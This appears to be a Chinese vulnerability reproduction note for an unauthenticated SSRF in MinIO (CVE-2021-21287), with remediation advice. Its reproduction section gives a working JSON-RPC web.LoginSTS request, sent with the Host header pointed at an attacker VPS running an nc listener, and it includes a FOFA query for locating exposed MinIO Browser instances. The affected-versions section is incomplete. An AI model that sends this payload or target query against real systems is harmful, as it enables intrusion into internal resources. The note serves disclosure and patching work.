MiniO未授权SSRF漏洞（CVE-2021-21287）

一、漏洞描述

MinIO 是在 Apache License v2.0 下发布的高性能对象存储。在版本 RELEASE.2021-01-30T00-20-58Z 之前的 MinIO 中存在服务器端请求伪造漏洞。目标应用程序可能具有从 URL 导入数据、将数据发布到 URL 或以其他方式从可篡改的 URL 读取数据的功能。攻击者通过提供完全不同的 URL 或通过操纵 URL 的构建方式（路径遍历等）来修改对此功能的调用。在服务器端请求伪造 (SSRF) 攻击中，攻击者可以滥用服务器上的功能来读取或更新内部资源。

二、影响版本

MinIO

三、漏洞环境

vulfocus:CVE-2021-21287,一键启动 / fofa:title="MinIO Browser"

四、漏洞复现

1、修改host头为vps地址；借用vps起一个nc服务，监听811端口

{

"id":1,

"jsonrpc":"2.0",

"params":

{

"token":"Test"

},

 

"method":"web.LoginSTS"

}

五、更新建议

1、配置环境变量“ MINIO_BROWSER = off”

2、目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://github.com/minio/minio/releases/tag/RELEASE.2021-01-30T00-20-58Z